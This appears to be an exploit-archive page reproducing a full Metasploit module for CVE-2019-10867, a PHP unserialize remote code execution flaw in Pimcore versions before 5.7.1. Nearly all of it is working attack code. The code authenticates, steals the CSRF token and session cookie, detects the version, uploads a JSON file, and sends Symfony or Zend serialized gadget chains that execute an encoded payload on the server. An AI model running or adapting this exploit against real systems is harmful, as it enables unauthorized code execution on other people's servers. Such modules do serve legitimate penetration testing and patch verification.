Pimcore < 5.71 - Unserialize RCE (Metasploit)

Related Vulnerabilities: CVE-2019-10867  
Publish Date: 30 Apr 2019
Author: Metasploit
                							

                ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' =&gt; "Pimcore Unserialize RCE",
      'Description' =&gt; %q(
        This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
        execute arbitrary code. An authenticated user with "classes" permission
        could exploit the vulnerability.

        The vulnerability exists in the "ClassController.php" class, where the
        "bulk-commit" method makes it possible to exploit the unserialize function
        when passing untrusted values in "data" parameter.

        Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the Symfony
        unserialize payload.

        Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.
      ),
      'License' =&gt; MSF_LICENSE,
      'Author' =&gt;
        [
          'Daniele Scanu', # Discovery &amp; PoC
          'Fabio Cogno' # Metasploit module
        ],
      'References' =&gt;
        [
          ['CVE', '2019-10867'],
          ['URL', 'https://github.com/pimcore/pimcore/commit/38a29e2f4f5f060a73974626952501cee05fda73'],
          ['URL', 'https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-173998']
        ],
      'Platform' =&gt; 'php',
      'Arch' =&gt; ARCH_PHP,
      'Targets' =&gt;
        [
          ['Pimcore 5.x (Symfony unserialize payload)', 'type' =&gt; :symfony],
          ['Pimcore 4.x (Zend unserialize payload)', 'type' =&gt; :zend]
        ],
      'Payload' =&gt; {
        'Space' =&gt; 8000,
        'DisableNops' =&gt; true
      },
      'Privileged' =&gt; false,
      'DisclosureDate' =&gt; "Mar 11 2019",
      'DefaultTarget' =&gt; 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Pimcore directory path", '/']),
        OptString.new('USERNAME', [true, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
      ]
    )
  end

  def login
    # Try to login
    res = send_request_cgi(
      'method' =&gt; 'POST',
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'login', 'login'),
      'vars_post' =&gt; {
        'username' =&gt; datastore['USERNAME'],
        'password' =&gt; datastore['PASSWORD']
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 302 &amp;&amp; res.headers['Location'] =~ /\/admin\/\?_dc=/
      print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

      # Grabbing CSRF token and PHPSESSID cookie
      return grab_csrftoken(res)
    end

    if res.code == 302 &amp;&amp; res.headers['Location'] =~ /auth_failed=true/
      fail_with(Failure::NoAccess, 'Invalid credentials')
    end

    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
  end

  def grab_csrftoken(auth_res)
    uri = "#{target_uri.path}admin/?_dc=#{auth_res.headers['Location'].scan(/\/admin\/\?_dc=([0-9]+)/).flatten.first}"

    res = send_request_cgi(
      'method' =&gt; 'GET',
      'uri' =&gt; normalize_uri(uri),
      'cookie' =&gt; auth_res.get_cookies
    )

    if res &amp;&amp; res.code == 200
      # Pimcore 5.x
      unless res.body.scan(/"csrfToken": "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/"csrfToken": "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve cookies') unless @pimcore_cookies
        @pimcore_cookies &lt;&lt; " pimcore_admin_sid=1;"

        # Version
        version = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[0]
        build = res.body.scan(/"pimcore platform \(v([0-9]{1}\.[0-9]{1}\.[0-9]{1})\|([a-z0-9]+)\)"/i).flatten[1]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version &amp;&amp; build
        print_version(version, build)
        return assign_target(version)
      end

      # Pimcore 4.x
      unless res.body.scan(/csrfToken: "[a-z0-9]+",/).empty?
        @csrf_token = res.body.scan(/csrfToken: "([a-z0-9]+)",/).flatten.first.to_s
        @pimcore_cookies = res.get_cookies.scan(/(pimcore_admin_sid=[a-z0-9]+;)/).flatten[0]
        fail_with(Failure::NotFound, 'Unable to retrieve cookies') unless @pimcore_cookies

        # Version
        version = res.body.scan(/version: "([0-9]{1}\.[0-9]{1}\.[0-9]{1})",/i).flatten[0]
        build = res.body.scan(/build: "([0-9]+)",/i).flatten[0]
        fail_with(Failure::NotFound, 'Failed to retrieve the version and build') unless version &amp;&amp; build
        print_version(version, build)
        return assign_target(version)
      end

      # Version different from 4.x or 5.x
      return nil
    else
      fail_with(Failure::NoAccess, 'Failed to grab csrfToken and PHPSESSID')
    end
  end

  def print_version(version, build)
    print_status("Pimcore version: #{version}")
    print_status("Pimcore build: #{build}")
  end

  def assign_target(version)
    if Gem::Version.new(version) &gt;= Gem::Version.new('5.0.0') &amp;&amp; Gem::Version.new(version) &lt;= Gem::Version.new('5.6.6')
      print_good("The target is vulnerable!")
      return targets[0]
    elsif Gem::Version.new(version) &gt;= Gem::Version.new('4.0.0') &amp;&amp; Gem::Version.new(version) &lt;= Gem::Version.new('4.6.5')
      print_good("The target is vulnerable!")
      return targets[1]
    else
      print_error("The target is NOT vulnerable!")
      return nil
    end
  end

  def upload
    # JSON file payload
    fpayload = "{\"customlayout\":[{\"creationDate\": \"#{rand(1..9)}\", \"modificationDate\": \"#{rand(1..9)}\", \"userOwner\": \"#{rand(1..9)}\", \"userModification\": \"#{rand(1..9)}\"}]}"
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part(fpayload, 'application/json', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")

    # send JSON file payload to bulk-import function
    res = send_request_cgi(
      'method' =&gt; 'POST',
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'class', 'bulk-import'),
      'vars_get' =&gt; { 'csrfToken' =&gt; @csrf_token },
      'cookie' =&gt; @pimcore_cookies,
      'ctype' =&gt; "multipart/form-data; boundary=#{data.bound}",
      'data' =&gt; data.to_s
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code == 200
      json = res.get_json_document
      if json['success'] == true
        print_good("JSON payload uploaded successfully: #{json['filename']}")
        return json['filename']
      else
        print_warning('Could not determine JSON payload file upload')
        return nil
      end
    end
  end

  def check
    res = send_request_cgi(
      'method' =&gt; 'GET',
      'uri' =&gt; normalize_uri(target_uri.path, 'admin', 'login')
    )

    unless res
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 &amp;&amp; res.headers =~ /pimcore/i || res.body =~ /pimcore/i
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # Try to log in, grab csrfToken and select target
    my_target = login
    if my_target.nil?
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    # Try to upload JSON payload file
    fname = upload

    unless fname.nil?
      # Register uploaded JSON payload file for cleanup
      register_files_for_cleanup(fname)
    end

    print_status("Selected payload: #{my_target.name}")

    case my_target['type']
    when :symfony
      # The payload to execute
      spayload = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"

      # The Symfony object payload
      serialize = "O:43:\"Symfony\\Component\\Cache\\Adapter\\ApcuAdapter\":3:{"
      serialize &lt;&lt; "s:64:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00mergeByLifetime\";"
      serialize &lt;&lt; "s:9:\"proc_open\";"
      serialize &lt;&lt; "s:58:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00namespace\";a:0:{}"
      serialize &lt;&lt; "s:57:\"\x00Symfony\\Component\\Cache\\Adapter\\AbstractAdapter\x00deferred\";"
      serialize &lt;&lt; "s:#{spayload.length}:\"#{spayload}\";}"
    when :zend
      # The payload to execute
      spayload = "eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"

      # The Zend1 object payload
      serialize = "a:2:{i:7;O:8:\"Zend_Log\":1:{s:11:\"\x00*\x00_writers\";a:1:{"
      serialize &lt;&lt; "i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\x00*\00_eventsToMail\";a:1:{"
      serialize &lt;&lt; "i:0;i:1;}s:22:\"\x00*\x00_layoutEventsToMail\";a:0:{}s:8:\"\00*\x00_mail\";"
      serialize &lt;&lt; "O:9:\"Zend_Mail\":0:{}s:10:\"\x00*\x00_layout\";O:11:\"Zend_Layout\":3:{"
      serialize &lt;&lt; "s:13:\"\x00*\x00_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{"
      serialize &lt;&lt; "s:16:\"\x00*\x00_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\x00*\x00_replacement\";"
      serialize &lt;&lt; "S:#{spayload.length}:\"#{spayload}\";}"
      serialize &lt;&lt; "s:20:\"\x00*\x00_inflectorEnabled\";b:1;s:10:\"\x00*\x00_layout\";"
      serialize &lt;&lt; "s:6:\"layout\";}s:22:\"\x00*\x00_subjectPrependText\";N;}}};i:7;i:7;}"
    end

    # send serialized payload
    send_request_cgi(
      {
        'method' =&gt; 'POST',
        'uri' =&gt; normalize_uri(target_uri, 'admin', 'class', 'bulk-commit'),
        'ctype' =&gt; 'application/x-www-form-urlencoded; charset=UTF-8',
        'cookie' =&gt; @pimcore_cookies,
        'vars_post' =&gt; {
          'filename' =&gt; fname,
          'data' =&gt; JSON.generate(
            'type' =&gt; 'customlayout',
            'name' =&gt; serialize
          )
        },
        'headers' =&gt; {
          'X-pimcore-csrf-token' =&gt; @csrf_token
        }
      }, 30
    )
  end
end